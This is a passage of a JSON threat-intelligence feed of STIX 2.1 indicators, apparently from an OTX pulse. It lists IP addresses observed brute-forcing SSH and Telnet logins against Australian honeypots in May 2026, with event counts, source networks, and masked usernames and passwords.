      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): r**t, a**x, 3**********4, u****u, v*****r. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******3, H******3.",
      "id": "indicator--ec5031d5-b574-45dc-b7db-268332d6930a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.190.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--73157234-3a79-4fcb-a43a-d81a52aa3939",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.148.201.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--b5457fa5-7551-4488-919c-fa42187c3727",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.141.13.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT. Usernames observed (masked): r**t, f****e, 3**********4, a***n, b********r. Passwords observed (masked): !**********E, ***, 3***********4, 3**********4, A******5.",
      "id": "indicator--9063ef21-ac7b-460e-9041-b835c225589a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.136.232.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--454ee547-faf1-47df-959d-9ee6132a5b7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--1a81e6c5-e4ac-4084-ab0d-7ff87ac86aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T13:15:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--80f5a9bc-9b7c-4045-aad5-adf58718e4fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T13:15:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.8.63.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T13:15:41.000Z",
      "valid_until": "2026-07-01T13:15:04.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DK. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--8bf89f46-6ca4-4651-ba9d-2dfeab4e8946",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.58.212.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 54163. Organisation(s): AHOSTING.",
      "id": "indicator--ec3eb39c-144a-4505-8666-872ac09d32c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.160.194.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52600. Organisation(s): Digitotal Networks Telecomunicacoes ltda.",
      "id": "indicator--ae032112-d180-48d6-891e-b25b56c74d22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.137.112.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 43513. Organisation(s): Sia Nano IT. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--b8c77347-c89d-47f6-96df-ff7f28244a66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.170.22.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--0176a23a-4502-4233-82b5-00c7d19b71d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.10.175.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--fed2ad95-cbaa-4956-a2ba-31f9748c76c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T14:15:10.000Z",
      "valid_until": "2026-07-01T14:15:08.000Z"
    },
    {
      "created": "2026-05-30T15:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--0ebfe113-cc1d-44a0-9ea4-0dc94ede62e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T15:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.199.113.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:15:26.000Z",
      "valid_until": "2026-07-01T15:15:08.000Z"
    },
    {
      "created": "2026-05-30T15:15:26.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--bb7f5ee0-f2f7-48fa-9d9e-992148ec4407",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T15:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '141.95.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T15:15:26.000Z",
      "valid_until": "2026-07-01T15:15:08.000Z"
    },
    {
      "created": "2026-05-30T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--5857c603-c1a9-4cf4-9e82-99f0c4c79874",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.64.187.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:15:11.000Z",
      "valid_until": "2026-07-01T16:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): b**k, l***a. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--05dbacde-ec76-4bef-97c6-74308596c4c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--24becb4f-22af-4029-b6c5-e1887fb8828f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.155.48.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group. Usernames observed (masked): l***a, w**i. Passwords observed (masked): p******d, w*****3.",
      "id": "indicator--6615545e-8b92-4f5c-b90c-94df9b04b1d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.228.233.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): L********3.",
      "id": "indicator--50ebd651-d181-41b4-9a0f-69c3f3a6c019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.145.102.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u**r. Passwords observed (masked): 1******x.",
      "id": "indicator--f79af0d8-4f98-4203-ad3a-c7f966a07c45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.220.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14576. Organisation(s): Hosting Solution Ltd.. Usernames observed (masked): r**t, u****u. Passwords observed (masked): P******d, R******..",
      "id": "indicator--9879c26d-66da-47e0-9fdb-2dcce246e52c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.248.225.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--af18baea-981f-4bec-a065-14fd94f65be9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): w**i, 3**********4, p****a. Passwords observed (masked): 1****6, 3***********4, 3**********4, w*****3.",
      "id": "indicator--6591cca5-78ce-41bd-b812-055eced05f0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.64.74.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T17:15:11.000Z",
      "valid_until": "2026-07-01T17:15:08.000Z"
    },
    {
      "created": "2026-05-30T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 38121. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--a309a025-7d69-4f75-a789-db61c5fa3b08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.30.253.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T18:15:11.000Z",
      "valid_until": "2026-07-01T18:15:08.000Z"
    },
    {
      "created": "2026-05-30T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fcf07951-a268-4df4-aac3-519061c41eef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.165.83.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T18:15:11.000Z",
      "valid_until": "2026-07-01T18:15:08.000Z"
    },
    {
      "created": "2026-05-30T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--bb6f4ee2-d9f2-4ceb-b214-1200ae4b9122",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.195.249.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T18:15:11.000Z",
      "valid_until": "2026-07-01T18:15:08.000Z"
    },
    {
      "created": "2026-05-30T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--069530ca-bdeb-4708-8ec4-5d27c5178f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.68.133.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T18:15:11.000Z",
      "valid_until": "2026-07-01T18:15:08.000Z"
    },
    {
      "created": "2026-05-30T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--6e04d088-e415-40b7-89fe-e41479ba88e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.153.119.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T18:15:11.000Z",
      "valid_until": "2026-07-01T18:15:08.000Z"
    },
    {
      "created": "2026-05-30T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 19182. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--23508d90-2f1f-4320-bde6-380ea3eb0ff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.45.3.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T19:15:11.000Z",
      "valid_until": "2026-07-01T19:15:08.000Z"
    },
    {
      "created": "2026-05-30T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--321262c9-e4d5-4fd5-a7c3-f9fdfbb77a4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.84.133.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T19:15:11.000Z",
      "valid_until": "2026-07-01T19:15:08.000Z"
    },
    {
      "created": "2026-05-30T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--101ce3df-9cd3-43da-bcaa-01526fefb5a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.141.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T19:15:11.000Z",
      "valid_until": "2026-07-01T19:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 135325. Organisation(s): EWS DS Networks Inc. Usernames observed (masked): r**t, **, 3**********4, d**l, d*****r. Passwords observed (masked): 1****6, 1*******9, 1*********n, 3*******1, 3***********4.",
      "id": "indicator--65a3880b-fd18-4a52-8d65-09e3cba6fbdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.139.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--ef2877a9-9266-4774-b2db-5fc3db3bec66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.242.152.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): P***********3.",
      "id": "indicator--443715a2-d0f5-4548-bf3c-0eb7237213ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.196.26.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
